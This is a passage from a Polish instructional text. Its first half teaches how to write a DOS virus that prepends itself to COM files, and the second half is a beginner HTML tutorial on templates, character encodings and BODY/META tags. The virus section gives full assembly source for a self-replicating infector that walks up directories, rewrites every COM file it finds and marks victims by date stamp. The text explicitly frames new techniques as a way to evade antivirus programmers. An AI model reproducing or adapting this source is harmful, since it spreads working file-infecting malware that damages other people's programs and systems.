Sposób infekcji plików COM przez skok do wirusa jest najczęściej wykorzystywaną metodą infekcji. Oczywiście nie jedyną. W tym paragrafie przedstawię nieco bardziej oryginalny sposób infekcji plików COM. Może zachęci Cię to do samodzielnych poszukiwań nowych technik infekcji? Pamiętaj, że wykorzystanie każdej nieznanej do tej pory techniki powoduje, że wirus jest trudniejszy do wykrycia. Programiści antywirusów będą musieli się więcej napracować, aby napisać skuteczne antidotum.

Jak zwykle przed przystąpieniem do pracy zapoznajmy się z nowymi funkcjami. Zebrałem je w tabelce 6.7.

Funkcja:	**4Ah przerwania 21h**
Nazwa:	Zmiana długości zarezerwowanego bloku pamięci
Wywołanie:	ah = 4Ah BX — nowy rozmiar feagmentu pamięci w paragrafach ES — segment bloku, którego rozmiary zmieniamy
Powrót:	cf=1 — wystąpił błąd i AX zawiera kod błędu, a BX maksymalny możliwy do zarezerwowania rozmiar pamięci w paragrafach cf=0 — operacja się powiodła
Opis:	Funkcja zmienia rozmiar bloku pamięci przydzielonego przez system. paragraf = 16 bajtów

Funkcja:	**48h przerwania 21h**
Nazwa:	Rezerwacja pamięci
Wywołanie:	ah = 48h BX — ilość paragrafów pamięci jaka jest nam potrzebna
Powrót:	cf=1 — wystąpił błąd. -> AX — zawiera kod błedu -> BX — maksymalny możliwy do zarezerwowania rozmiar pamięci (w paragrafach) cf=0 - operacja się powiodła. -> AX — zawiera segment przydzielonego bloku pamięci
Opis:	Funkcja alokuje pamięć konwencjonalną i zwraca segment zarezerwowanego bloku.

Funkcja:	**49h przerwania 21h**
Nazwa:	Zwalnianie pamięci
Wywołanie:	ah = 49h ES — segment pamięci do zwolnienia
Powrót:	cf=1 — wystąpił błąd. -> AX - zawiera kod błedu cf=0 — operacja się powiodła.
Opis:	Funkcja zwalnia pamięć zarezerwowaną przez funkcję 48h

Tabela 6.7: Przydatne funkcje (3)

W naszym nowym wirusie będzie potrzebny nam blok pamięci o rozmiarze 64KB. Nie możemy oczywiście zadeklarować tak dużej tablicy w samym programie. Zajęłaby ona całey segment i nie byłoby już miejsca na kod wirusa. Poza tym taki wirus byłby znacznie za długi. Rozwiążemy ten

problem inaczej. Wirus po uruchomieniu zarezerwuje sobie blok pamięci od systemu operayjnego za pomocą funkcji 48h. Pamiętajmy jednak, że system operacyjny DOS po załadowaniu programu przydziela mu domyślnie całą dostępną pamięć, więc jeżeli spróbujemy zarezerwować jakiś blok to funkcja 48h zwróci błąd — brak pamięci. Musimy najpierw zminejszyć pamięc dostępną dla programu. Dokonujemy tego za pomocą funkcji 4Ah. Do rejestru ES ładujemy wartość segmentu programu - CS, a do BX= 4096. Programowi COM starczy 4096 paragrafów = 64KB. Zmniejszymy przydzieloną mu pamięć do jednego segmentu. Teraz możemy już zarezerwować potrzebny nam blok pamięci korzystając z funkcji 48h.

6.6.1 Infekcja pliku

Przypomnijmy sobie wirusa OWSIK. Wirus ten dopisywał się właśnie na początku zarażanego pliku zamazując swoim kodem część atakowanego programu. Było to zjawisko nieporządane, ponieważ nieodwracalnie uszkadzaliśmy atakowany program. Teraz zastoujemy podobną metodę infekcji, tyle, że zamiast zapisać wirusa na programie przesuniemy kod programu o rozmiar wirusa i w puste miejsce na początku pliku zapiszemy mikroba.

Zarażony plik COM
Kod wirusa
Kod programu przesunięty o długość wirusa

Oddanie sterowania do nosiciela

Zaletą takiej metody infekcji jest to, że nie będziemy musieli martwić się o przesunięcie względne w wirusie, ponieważ nasz wirus będzie się zawsze zaczynał od adresu CS:0100h. Pojawia się za to inny problem. Pamiętajmy, że program jest przesunięty, więc jeżeli po wykonaniu się wirusa wykonamy skok do programu to offsety w programie nie będą sie zgadzały. Program będzie myślał, że znajduje się pod adresem CS:0100h, a faktycznie będzie znajdował się pod adresem CS:[0100h + długość wirusa]. Jakiekolwiek odwołanie się do zmiennej w programie spowoduje jego zawieszenie. Co powinniśmy zrobić? Po wykonaniu się wirusa powinniśmy przekopiować program zza wirusa pod adres CS:0100h i dopiero wykonać tam skok. Jeżeli jednak zaczniemy kopioać program w to miejsce, to zamażemy wykonujący się właśnie kod wirusa i spowodujemy zawieszenie systemu. Co zatem należy zrobić? Pamiętajmy, że mamy zarezerwowany wcześniej blok pamięci. A jakby skopiować do tego bloku swój kod(wirusa), wykonać tam długi skok, skopiować program pod adres stary_segment:0100h, i wykonać skok pod ten adres? Tak to jest rozwiązanie. Opiszę je nieco dokładniej:

Oddawanie sterowania do zarażonego programu

1.

Stary segment programu	**Segment przydzielony przez wirusa**
Kod wirusa Przesunięty kod programu	

2. Skopiuj kod wirusa do zarezerwowanego segmentu pod adres *nowy_segment:0100h* i wykonaj tam długi skok: *jmp nowy_segment:0100h*. Teraz wirus wykonuje się w zupełnie innym miejscu pamięci, więc nie musimy się bać, że zamażemy jego kod.

Stary segment programu	**Segment przydzielony przez wirusa**
Kod wirusa Przesunięty kod programu	Kod wirusa

3. Skopiuj program zza wirusa w starym segmencie na adres *stary_segment:0100h*. Spowoduje to zamazanie starej kopii wirusa w pamięci programem.

Stary segment programu	**Segment przydzielony przez wirusa**
Kod programu	Kod wirusa

4. Wykonaj daleki skok[2] pod adres *stary_segment:0100h*

Po wykonaniu powyższych czynności program ofiara wykona się prawidłowo.

[2] Skokiem dalekim nazywamy taki skok, który zmienia zarówno zawartość IP jak i zawartość CS

Techinka infekcji

Infekcji nowego pliku dokonujemy również przy pomocy zarezerwowanego bufora.

Infekcja pliku

1. Znajdź kolejny plik COM.
2. Wczytaj zawartość pliku do bufora.
3. Zapisz wirusa do pliku.
4. Zapisz do pliku program, za kodem wirusa.

6.6.2 Kod źródłowy wirusa Nijamormoazazel_01

Po obszernym wstępie teoretycznym możemy już przejść do analizy kodu źródłowego:

```
;-------------------------------------------------------------
;                    NIJA1.ASM
;
; Nijamormoazazel1 - jest wirusem plików COM.
;                    Infekuje jednak pliki w nietypowy sposób.
;                    Dopisuje się na początku ofiary, przesuwa-
;                    jąc jej kod o swoją długość.
;
; Autor: Nijamormoazazel   20 lutego 2002r.  Michalin
;
; Kompilacja: TASM   (z opcją -m3)
; Linking:    TLINK  (z opcją -t)
;-------------------------------------------------------------

.286


; atrybuty pozycji w katalogu
atr_tylko_do_odczytu = 00000001b
atr_ukryty           = 00000010b
atr_systemowy        = 00000100b
atr_volumeID         = 00001000b
atr_katalog          = 00010000b
atr_archiwalny       = 00100000b
atrybut              = 00100111b

DTA struc
               DTAfill         db 21 dup (0)
               DTAatrybut      db 0
               DTAczas         dw 0
               DTAdata         dw 0
```

```
                DTAdlugosc      dd 0
                DTAnazwa        db 13 dup (0)
DTA ends

Vrok        = 1999
Vmiesiac    = 12
Vdzien      = 13
Vznacznik   = (Vrok-1980)*512+Vmiesiac*32+Vdzien


dlugosc_wirusa = (offset virus_end)-(offset virus_start)


nija1   SEGMENT
                ASSUME  CS:nija1, DS:nothing, ES:nothing, SS:nothing

                org 0100h

virus_start:
        mov   ax, cs:[dlugosc_ofiary]  ; Zapamiętaj długość ofiary
        push  ax                       ; na później.

        mov   ah, 4Ah          ; Zmniejsz pamięć przydzieloną programowi
        mov   bx, 4096         ; do 64KB.
        int   21h
        jnc   loc_01
        jmp   zakoncz          ; jeśli błąd to zakończ

loc_01:
        mov   ah, 48h          ; Zarezerwuj 64KB pamięci.
        mov   bx, 4096
        int   21h
        jnc   loc_02
        jmp   zakoncz

loc_02:
        mov   reserved_segment, ax     ; zapamiętaj nowy_segment
        push  cs
        pop   dx
        mov   cs:[old_segment], dx     ; zapamiętaj stary_segment

        call  nijamormoazazel1         ; skok do wirusa

powrot_do_ofiary:
        pop   ax                       ; zdejmij długość ofiary
        mov   cs:[dlugosc_ofiary], ax

        push  cs
```

```
        pop   ds
        xor   si, si
        mov   di, reserved_segment
        mov   es, di
        xor   di, di
        mov   cx, dlugosc_wirusa
        add   cx, 0100h
        rep   movsb
; Przekopiuj kod wirusa do zarezerwowanego segmentu pod offset 0100h,

wykonaj_skok_do_kopii_wirusa:
        mov   dx, cs:[reserved_segment]
        mov   cs:[jmp_segment], dx
        mov   dx, offset przekopiuj_ofiare
        mov   cs:[jmp_offset], dx
        jmp   dword ptr cs:[jmp_offset]
; skok długi

; teraz jesteśmy już w nowym segmencie
przekopiuj_ofiare:
        mov   dx, cs:[old_segment]
        mov   ds, dx
        mov   es, dx
        mov   di, 0100h
        mov   si, 0100h
        add   si, dlugosc_wirusa
        mov   cx, dlugosc_ofiary
        rep   movsb
; Przekopiuj nosiciela zza wirusa do stary_segment:0100h

skocz_do_ofiary:
        mov   ax, cs:[old_segment]
        mov   cs:[jmp_segment], ax
        mov   cs:[jmp_offset], 0100h
        jmp   dword ptr cs:[jmp_offset]
; skoczyliśmy do ofiary

zakoncz:                    ; ta etykieta się nie wykona
        mov   ah, 09h
        push  cs
        pop   ds
        lea   dx, [err1]
        int   21h

        mov   ax, 4C01h
        int   21h

virus_data:
```

```
        err1            db 'Not enough memeory', 13, 10, '$'
        dlugosc_ofiary  dw (offset program_end)-(offset program_start)
        reserved_segment dw ?
        old_segment     dw ?
        jmp_offset      dw ?
        jmp_segment     dw ?
        nowe_DTA        DTA ?,?,?,?,?,?
        maska_COM       db '*.com', 0
        uchwyt          dw ?
        bufor           db 66 dup('B')
        w_gore          db '..', 0

virus_procs:

;---------------------------
nijamormoazazel1:
        push  cs
        pop   ds

ustaw_nowe_DTA:
        mov   ah, 1Ah
        lea   dx, [nowe_DTA]
        int   21h

pobierz_katalog:            ; znowu ten numer ze zmianą katalogu
        mov   ah, 47h
        xor   dl, dl
        lea   si, [bufor+1]
        int   21h

        mov   [bufor], '\'

nastepny_katalog:
        call  infect_current_dir

        mov   ah, 3Bh       ; zmień katalog do góry
        lea   dx, [w_gore]
        int   21h
        jc    przywroc_katalog
        jmp   nastepny_katalog

przywroc_katalog:
        mov   ah, 3Bh
        lea   dx, [bp][bufor]
        int   21h

przywroc_stare_DTA:
        mov   ah, 1Ah
```

```
        mov   dx, 0080h
        push  cs
        pop   ds
        int   21h

ret

;---------------------------
infect_current_dir:
        push  cs
        pop   ds

        mov   ah, 4Eh        ; szukaj pierwszy plik
        mov   cx, atrybut
        lea   dx, [maska_COM]
        int   21h
        jnc   znaleziono_plik_typu_COM
        jmp   nie_ma_pliku_COM

znaleziono_plik_typu_COM:
        cmp   [nowe_DTA.DTAdata], Vznacznik
        jne   plik_jeszcze_nie_zarazony
        jmp   szukaj_nastepny

plik_jeszcze_nie_zarazony:
        mov   ah, 43h        ; zmień atrybut
        mov   al, 01h
        mov   cx, atr_archiwalny
        lea   dx, [nowe_DTA.DTAnazwa]
        int   21h

otworz_plik:
        mov   ah, 3Dh
        mov   al, 02h
        lea   dx, [nowe_DTA.DTAnazwa]
        int   21h
        jnc   zapisz_uchwyt
        jmp   przywroc_atrybut

zapisz_uchwyt:
        mov   bx, ax
        mov   [uchwyt], bx

oblicz_dlugosc_ofiary:
        mov   ah, 42h        ; przesuń wskaźnik na koniec
        mov   al, 02h
        xor   cx, cx
        xor   dx, dx
```

```
        int   21h             ; DX:AX - zawiera teraz rozmiar pliku
        mov   [dlugosc_ofiary], ax

        cmp   dx, 0           ; czy rozmiar większy niż 64KB?
        je    wskaznik_na_poczatek
        jmp   zamknij_plik

wskaznik_na_poczatek:
        mov   ah, 42h
        mov   al, 00h
        xor   cx, cx
        xor   dx, dx
        mov   bx, [uchwyt]
        int   21h

odczytaj_zawartosc_pliku:
        mov   ax, [reserved_segment]
        mov   ds, ax
        mov   dx, 0
        mov   cx, [dlugosc_ofiary]
        mov   ah, 3Fh         ; funkcja DOS - czytaj z pliku
        int   21h
; Wczytujemy zawartość ofiary do zarezerwowanego bufora.

wskaznik_na_poczatek_jeszcze_raz:
        mov   ah, 42h
        mov   al, 00h
        xor   cx, cx
        xor   dx, dx
        mov   bx, [uchwyt]
        int   21h

zapisz_wirusa_do_pliku:
        mov   ah, 40h
        mov   bx, [uchwyt]
        mov   cx, dlugosc_wirusa
        push  cs
        pop   ds
        mov   dx, 0100h
        int   21h
; Zapisujemy wirusa na początku zarażanego pliku.

zapisz_ofiare_do_pliku:
        mov   ah, 40h
        mov   bx, [uchwyt]
        mov   dx, [reserved_segment]
        mov   ds, dx
        xor   dx, dx
```

```
        mov   cx, [dlugosc_ofiary]
        int   21h
; A teraz za wirusem zapisujemy program z bufora.

oznacz_jako_zarazony:
        mov   ah, 57h
        mov   al, 01h
        mov   bx, [uchwyt]
        mov   dx, Vznacznik
        mov   cx, [nowe_DTA.DTAczas]
        int   21h

zamknij_plik:
        mov   ah, 3Eh
        mov   bx, [uchwyt]
        int   21h

przywroc_atrybut:
        mov   ah, 43h        ; zmień atrybut na oryginalny
        mov   al, 01h
        mov   cx, word ptr [nowe_DTA.DTAatrybut]
        lea   dx, [nowe_DTA.DTAnazwa]
        int   21h

szukaj_nastepny:
        mov   ah, 4Fh
        push  cs
        pop   ds
        int   21h
        jc    nie_ma_pliku_COM
        jmp   znaleziono_plik_typu_COM

nie_ma_pliku_COM:
        ret

sygn    db 13, 10
        db 'Virus name:   Nijamormoazazel1', 13, 10
        db 'Virus author: Nijamormoazazel ', 13, 10
        db '20 February 2002      Michalin', 13, 10
        db 'Made in POLAND', 13, 10
        db '$'

virus_end:

program_start:               ; Tu zaczyna się przesunięty
        nop                  ; kod programu.
        nop
        nop
```

```
        nop
        nop
        mov   ax, 4C00h
        int   21h

program_end:

nija1   ENDS
end     virus_start
```

Część III

HTML

Rozdział 7

HTML

7.1 Wstęp

Tworzenie stron WWW jest zajęciem w miarę prostym i bardzo przyjemnym. Podstaw języka HTML można nauczyć się w kilka godzin, a dosłownie po chwili zbudować prostą witrynę. Trzeba tylko pamiętać o przestrzeganiu kilku podstawowych zasad.

Aby sprawnie i szybko posługiwać się językiem HTML niezbędna jest praktyka. Można również posłużyć się programami "wspomagającymi" tworzenie stron WWW takimi jak:

Polskie komercyjne:

- HTML-owiec,
- Pajączek — najbardziej znany polski edytor,
- Tiger98,
- TigerII — nowsza wersja Tiger98.

Polskie darmowe:

- EdHTML — rozbudowany, bogata dokumentacja,
- ezHTML — pełna nazwa: Edytor Znaczników HTML,
- Kicia,
- WebPager Xpress,
- WebSite PRO — łudząco podobny do Pajączka, ale zupełnie darmowy,
- Zajączek.

Zagraniczne:

- HomeSite — komercyjny,
- HotDog — komercyjny,
- HTML-Kit — darmowy.

Oczywiście wystarczy zwykły, prosty edytor tekstowy. Każda strona może być wykonana na wiele sposobów, więc im bardziej jesteś doświadczony, tymbardziej będziesz mogł stworzyć ją lepiej, szybciej, tak aby dobrze prezentowała się w każdej przeglądarce. Polecamy więc eksperymentowanie, testowanie, sprawdzanie efektów w różnych przeglądarkach i ciągłe podnoszenie swoich umiejętności, oczywiście wymaga to wielu godzin pracy...

7.1.1 Przygotowanie środowiska

Aby rozpocząć pracę, musisz jeszcze zaopatrzyć się w czcionki, które pozwolą Ci uzyskać polskie znaki ("ogonki"). Powinny to być koniecznie czcionki w standardzie ISO-8859-2. Jest to obecnie powszechnie przyjęty i stosowany w polskim Internecie standard kodowania znaków.

Uwagi tutaj zawarte dotyczą tylko obcojęzycznych edytorów. Również użytkownicy Linuxa nie muszą się o nic martwić, ponieważ system ten standardowo koduje znaki w ISO[1].

Jeśli chcesz używać obcojęzycznego edytora w Windows bez obawy o poprawne kodowanie polskich znaków, przejdź na Polską Stronę Windowsową, a następnie na podstronę: "Klawiatura ISO-8859-2". Można tam pobrać darmową klawiaturę Izy Kibord (dla systemu Windows 95/98/Me lub NT4/2000/XP) oraz czcionkę PolskieStrony 2000.

Następnie trzeba zainstalować pobraną czcionkę w systemie. Aby to zrobić, należy wybrać: Menu Start/Ustawienia/Panel sterowania/Czcionki/Plik/Zainstaluj nową czcionkę..., a potem odszukać czcionkę na dysku i kliknąć OK.

W Windows XP aby dotrzeć do apletu "Czcionki", należy wybrać: Menu Start/Panel sterowania/Wygląd i kompozycje, a następnie po lewej stronie na karcie Zobacz też kliknij Czcionki.

Teraz wystarczy w używanym przez nas edytorze HTML, ustawić dodaną właśnie czcionkę jako ekranową (robi się to zwykle w menu Ustawienia — Settings, Konfiguracja — Configuration, Opcje — Options itp.).

Teraz musisz jeszcze tylko zainstalować pobraną klawiaturę ISO — w Windows 95/98/Me uruchom INSTALUJ.BAT. Po zakończeniu instalacji i restarcie komputera, klawiatura ISO (widoczna jako Islandzka — "IS") jest dostępna poprzez przełącznik języków na pasku zadań (kliknij skrót aktualnego języka na pasku).

Przedstawione wskazówki dotyczą również sytuacji, gdy używany jest do tworzenia stron WWW zwykły edytor tekstu — co raczej nie jest zalecane.

7.1.2 Podstawowe zasady kompozycji w HTML

Stronę WWW tworzy się podobnie jak zwykły dokument tekstowy: po otwarciu edytora HTML, należy wybrać opcję z menu: Plik/Nowy (lub File/New). Teraz można już zacząć pisanie strony. Jednak ponieważ dokument HTML nie jest całkowicie zwykłym plikiem tekstowym (zawiera hipertekst, osadzone obrazki i musi być poprawnie wyświetlany w różnych systemach operacyjnych na całym świecie), dlatego wymyślono specjalny szablon dokumentu HTML, który powinien być przestrzegany.

Oto przykładowy szablon:

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<HTML>
<HEAD>
  <META HTTP-EQUIV="Content-type" CONTENT="text/html; charset=iso-8859-2">
  <META NAME="Description" CONTENT="Tu wpisz opis zawartości strony">
  <META NAME="Keywords" CONTENT="Tu wpisz wyrazy kluczowe rozdzielone przecink
  <META NAME="Author" CONTENT="Tu wpisz swoje imię i nazwisko">
  <META HTTP-EQUIV="Content-Language" CONTENT="pl">
  <TITLE>Tu wpisz tytuł strony</TITLE>
</HEAD>
<BODY>
```

[1] a teraz głównie w UTF-8 (przyp. red.)

```
Tu wpisuje się treść strony
</BODY>
</HTML>
```

WAŻNE: Powyższy szablon dotyczy kodu źródłowego, dlatego jeżeli używasz edytora graficznego (np. FrontPage), koniecznie musisz się przełączyć w tryb bezpośredniej edycji kodu źródłowego HTML. Dodatkowo jeśli używasz zwykłego edytora teksu (np. windows'owskiego Notatnika — Notepad) bez nakładki klawiaturowej, to niektóre polskie znaki zostaną błędnie zakodowane — zamiast nich pojawią się "krzaczki"! Jeszcze raz radzę zaopatrzyć się w jakiś edytor HTML — najlepiej polski.

Jeśli chcemy umieścić na stronie WWW zwykły tekst, możemy wpisać go bezpośrednio z klawiatury — w miejsce właściwej treści dokumentu (patrz: Ramy dokumentu). Nie trzeba przy tym stosować żadnych dodatkowych poleceń. Należy jednak pamiętać, że przeglądarka internetowa automatycznie zawinie wszystkie wiersze, dlatego w edytorze HTML tekst możemy wpisywać dowolnie. Po wpisaniu

```
To jest zwykły tekst...
To jest zwykły tekst...
To jest zwykły tekst...
To jest zwykły tekst...
To jest zwykły tekst...
To jest zwykły tekst...
To jest zwykły tekst...
To jest zwykły tekst...
To jest zwykły tekst...
To jest zwykły tekst...
```

na ekranie otrzymamy:
To jest zwykły tekst... To jest zwykły tekst... To jest zwykły tekst... To jest zwykły tekst... To jest zwykły tekst... To jest zwykły tekst... To jest zwykły tekst... To jest zwykły tekst... To jest zwykły tekst... To jest zwykły tekst...

W edytorze możemy zakończyć linię (klawisz Enter) w dowolnym miejscu — tam, gdzie jest to wygodne. Nie należy również przedzielać wyrazów, z jednej linii do drugiej, za pomocą pauzy:

```
To jest zwykły tekst... To jest zwykły tekst... To jest zwy-
kły tekst...
```

Zaznaczony wyraz powinniśmy wpisać normalnie. Przeglądarka sama ustawi go w odpowiedniej linii.

Na koniec kilka praktycznych porad, które początkowo łatwo zbagatelizować, ale uwierz mi — naprawdę okazują się niezwykle przydatne:

- Dbaj o poprawność ortograficzną i stylistyczną tekstu! O ile błędy literowe mogą się zdarzyć każdemu, to rażące błędy ortograficzne, popełniane zbyt często, odstraszają potencjalnych czytelników. Jeśli masz kłopoty z ortografią (jak większość Polaków :-), sprawdzaj tekst w słowniku komputerowym (np. w Wordzie). Wiele edytorów HTML ma własny słownik.

- Używaj znaków interpunkcyjnych, a zwłaszcza przecinków! Jeśli nie będziesz ich używać, tekst który napiszesz, może okazać się zupełnie niezrozumiały dla czytającego. Przypominam, że przecinki stawiamy pomiędzy zdaniami prostymi, wchodzącym w skład dłuższego zdania złożonego (zdanie złożone zawiera kilka czasowników). Stawia się je zawsze przed: "że", "iż", a

najczęściej również przed: "a", "ale", "lecz", "aby", "żeby", "ponieważ", "bo", jak również przed wyrażeniami zawierającymi "który" (np.: "z którym", "w którym", "po którym", "wewnątrz którego" itd.). Nie stawiamy przecinków przed ani za spójnikami: "i", "oraz", "lub", "albo", "bądź", "ani", "czy" (jeśli pełni rolę spójnika).

- Oddzielaj nowymi akapitami fragmenty tekstu, które nieco różnią się od siebie tematycznie. Bardzo długi "czysty" tekst niezbyt dobrze się czyta.

7.2 Znaczniki Body i Meta

7.2.1 Co to jest?

Znaczniki BODY oraz META określają pewne informacje na temat strony jako całości. Polecenie BODY powinno wchodzić w skład każdego dokumentu HTML. Stanowi ono właściwą treść, czyli tzw. ciało, w którym zawierają się wszystkie inne znaczniki, dotyczące formatowania, a także zwykły tekst. Podając dodatkowe atrybuty dla znacznika BODY, można określić niektóre cechy wyglądu całej strony, takie jak kolor tła oraz tekstu lub szerokość marginesów. W jednym dokumencie może się znajdować tylko jeden znacznik BODY — zaraz po nagłówku strony (HEAD).

Natomiast znacznik META stanowi tzw. metainformację, pozwalającą określić pewne ogólne wiadomości, dotyczące dokumentu, m.in. sposób kodowania znaków, opis zawartości strony, jej autora czy język, w którym została napisana. Metainformacje nie wpływają bezpośrednio na wygląd dokumentu, lecz cechy które podają, są równie ważne. Chociaż nie są one wymagane, warto je stosować, ponieważ może to np. pomóc w odszukaniu strony przez wyszukiwarki sieciowe. Każdy dokument powinien zawierać obowiązkowo przynajmniej deklarację strony kodowej, bez której polskie litery na stronie mogą zostać błędnie wyświetlone! W pojedynczym dokumencie znajduje się zwykle kilka znaczników META — każdy dotyczy innej wiadomości — wszystkie muszą znajdować się wewnątrz nagłówka strony (HEAD).

Oczywiście nie ma obowiązku stosowania dokładnie wszystkich atrybutów BODY oraz META, które zostały przedstawione w tym rozdziale. Autor strony powinien sam wybrać te, które mu odpowiadają lub przekazują według niego ważne informacje. Jednak nigdy nie należy zapominać o wstawianiu deklaracji strony kodowej!

7.2.2 Deklaracja strony kodowej ważnym czynnikiem.

```
<HEAD>
     <META HTTP-EQUIV="Content-type" CONTENT="text/html; charset=iso-8859-2">
     .....
</HEAD>
```

Polecenie jest deklaracją strony kodowej (co to jest, dowiesz sie niżej), czyli sposobu w jaki będą kodowane znaki na naszej stronie WWW. Zamiast charset=iso-8859-2 można wpisać: charset=windows-1250, ale jest to mocno odradzane, ponieważ polecenie takie deklaruje inną stronę kodową, podczas gdy w całym niemal polskim Internecie przyjęto standard kodowania iso-8859-2. Stronę kodową Windows obsługują tylko przeglądarki w systemie MS Windows — jeśli użytkownik będzie posiadał inny system operacyjny, prawie na pewno spowoduje to pojawienie się u niego na ekranie zupełnie nieprzewidzianych znaków! Czy chcesz, aby Twoja strona WWW wyglądała nieprofesjonalnie? Z tego powodu nie jest polecane stosowanie innej strony kodowej jak ISO.

Jeśli Twoja strona WWW ma być napisana w innym języku niż polski, musisz zadeklarować odpowiednią inną stronę kodową (pamiętaj również o podaniu właściwego skrótu nazwy języka).

Co to właściwie jest ta strona kodowa i dlaczego są z nią takie kłopoty? Jak wiadomo komputer rozpoznaje tylko dwie cyfry: 0 i 1. Za pomocą różnych kombinacji tych właśnie cyfr, są zapisywane w komputerze wszystkie dane, również znaki alfabetu, np.: literze "A" może odpowiadać kombinacja 1000001, "B" — 1000010 itd. Jest oczywiste, że musi istnieć jakiś standard, który "powie" komputerowi, które kombinacje zer i jedynek, odpowiadają jakim literom. Taki standard jest nazywany właśnie stroną kodową.

Większość stron kodowych wywodzi się z opracowanego w Ameryce (w zamierzchłych czasach) standardu ASCII — American Standards Committee for Information Interchange. Każda litera była w nim zapisana za pomocą kombinacji siedmiu zer i jedynek; potem rozszerzono zapis do ośmiu (8 bitów = 1 bajt). Jak łatwo obliczyć, w ten sposób można zakodować tylko 256 znaków. Ponieważ wszystkie pozycje zostały już zajęte przez angielskie litery oraz znaki kontrolne, dlatego konieczne okazało się opracowanie dodatkowych stron kodowych dla innych języków.

Nie byłoby żadnego problemu, gdyby istniał jeden uznawany międzynarodowo standard tworzenia stron kodowych. Teoretycznie jest nim ISO, lecz niestety wielkie firmy komputerowe zaczęły opracowywać swoje własne strony (posiada je m.in. Windows oraz Macintosh; jedynie Linux posługuje się standardem ISO). Kłopoty zaczęły się wraz z rozwojem Internetu. Wcześniej nie miało znaczenia, jaki system kodowania był interpretowany na danej maszynie. Dzisiaj, kiedy do sieci można podłączyć komputer z niemal każdym systemem operacyjnym, często występuje problem niekompatybilności różnych stron kodowych. Dlatego nigdy nie należy zapominać o wstawieniu deklaracji kodowania w każdym z dokumentów HTML — powinna to być deklaracja ISO. Jednak sama deklaracja to nie wszystko. Oprócz niej konieczne jest używanie edytora HTML, który potrafi odpowiednio kodować znaki. W systemie Windows, zwykłe edytory tekstu zapisują znaki, korzystając oczywiście ze strony kodowej WINDOWS, dlatego nie można ich używać do pisania stron WWW kodowanych w ISO.

A oto strony kodowe:

++++++++++Tu walnij Michalku tabelke:++++++++++++

7.2.3 Inne znaczniki w BODY

Kolor tekstu strony

`<BODY TEXT="kolor">...</BODY>`, gdzie "kolor" oznacza definicję koloru. Polecenie to pozwala określić kolor tekstu na Twojej stronie internetowej (domyślnie jest to czarny). Staraj się używać barw, które będą się dobrze wyróżniały na kolorze tła.

Kolor tła strony

`<BODY BGCOLOR="kolor">...</BODY>`, gdzie "kolor" oznacza definicję koloru. Polecenie pozwala określić kolor tła na Twojej stronie internetowej (domyślnie jest to biały). Pamiętaj, że nie powinno się używać barw bardzo jaskrawych jako kolory tła. Sprawiają one, że oczy szybko się męczą i dodatkowo zaciemniają treść strony. Dodatkowo należy pamiętać, aby na ustalonym kolorze tła, tekst był dobrze widoczny.

Tło obrazkowe

`<BODY BACKGROUND="ścieżka dostępu do obrazka">...</BODY>` lub `<BODY BACKGRO`
(tło nieruchome — znak wodny — tylko Internet Explorer!), gdzie jako "ścieżka dostępu do obrazka" należy podać lokalizację na dysku, gdzie znajduje się obrazek, który chcemy umieścić w tle.

Jeśli znudziły Ci się już strony o jednolitym kolorze, możesz umieścić w tle dowolny obrazek. Dzięki temu strona może wyglądać dużo lepiej. Ponadto drugie z podanych poleceń pozwala zdefiniować tło obrazkowe które jest nieruchome, tzn. nie przesuwa się wraz z tekstem, gdy przewijamy zawartość okna (tylko Internet Explorer).

Pamiętaj jednak, że obrazki o dużych rozmiarach spowalniają wczytywanie strony. Dlatego staraj się używać pliki tylko w formacie *.jpg (dla zdjęć wielokolorowych) lub *.gif (dla rysunków). Są to formaty skompresowane, zajmujące dużo mniej miejsca niż zwykłe mapy bitowe *.bmp. Trzeba również pamiętać, aby obrazek w tle nie był zbyt jaskrawy — spowoduje to tylko zaciemnienie zawartości strony i utrudni czytanie.

Zauważ, że nie ma potrzeby stosowania obrazka tła o rozmiarze takim jak strona, ponieważ jego kopie są ustawiane obok siebie tak, że zajmują cały obszar strony. Dlatego wystarczy wyciąć mały powtarzający się wzór, który zostanie następnie powielony przez przeglądarkę.

Należy unikać stosowania w tle dużych obrazków wyciętych ze zwykłych zdjęć. Tło powinno: mieć łagodne kolory (pastelowe, blade albo całkiem ciemne, ale nie jaskrawe; szczególnie odradza się jednoczesnego stosowania barw jasnych oraz ciemnych, ponieważ uniemożliwia to dobranie odpowiednio czytelnego koloru tekstu), składać się z powtarzalnych wzorów o niezbyt wielkich rozmiarach oraz być nieco rozmyte — nieostre (można to uzyskać w dowolnym bardziej rozbudowanym programie graficznym — odpowiedni efekt nazywa się zwykle: Rozmywanie albo Blur). Dobrym pomysłem są tła imitujące strukturę jakiejś powierzchni.

Jeśli nie masz zacięcia artystycznego, nie musisz samodzielnie rysować obrazków tła. W Internecie na pewno znajdziesz wiele stron, gdzie możesz je darmowo pobrać. Często są one dostępne również w edytorach HTML (np.: FrontPage) oraz programach graficznych.

Kolor odsyłaczy

`<BODY LINK="kolor1" VLINK="kolor2" ALINK="kolor3">...</BODY>`, gdzie "kolor1", kolor2" i "kolor3" oznaczają definicje kolorów [zobacz: Kolory], przy czym:

- "kolor1" — oznacza kolor odsyłaczy które nie zostały jeszcze użyte (LINK),
- "kolor2" — oznacza kolor odsyłaczy, które zostały już użyte (VLINK),
- "kolor3" — oznacza kolor aktywnego odsyłacza, czyli takiego który właśnie został użyty (ALINK).

Szerokość marginesów

1. Internet Explorer: `<BODY LEFTMARGIN="x1" RIGHTMARGIN="x2" TOPMARGIN="y1" BOTTOMM` gdzie "x1" oznacza szerokość lewego marginesu, "x2" — szerokość prawego marginesu, "y1" — wysokość górnego marginesu, "y2" — wysokość dolnego marginesu (wszystko w pikselach).
2. Netscape: `<BODY MARGINWIDTH="x" MARGINHEIGHT="y">...</BODY>` gdzie "x" oznacza szerokość poziomego marginesu (lewy i prawy), natomiast "y" — wysokość pionowego marginesu (górny i dolny).

Polecenie to pozwala ustalić szerokości marginesów na stronie, czyli odstępów tekstu od poszczególnych krawędzi strony.

Kolor suwaków

`<BODY style="scrollbar-base-color: kolor">...</BODY>`, gdzie "kolor" oznacza definicję koloru. Polecenie to pozwala zmienić[2] kolor suwaków na stronie, na której się znajduje. Dzięki niemu można dopasować ich barwę do koloru tła strony.

7.2.4 Inne znaczniki w HEAD

Wyrazy kluczowe

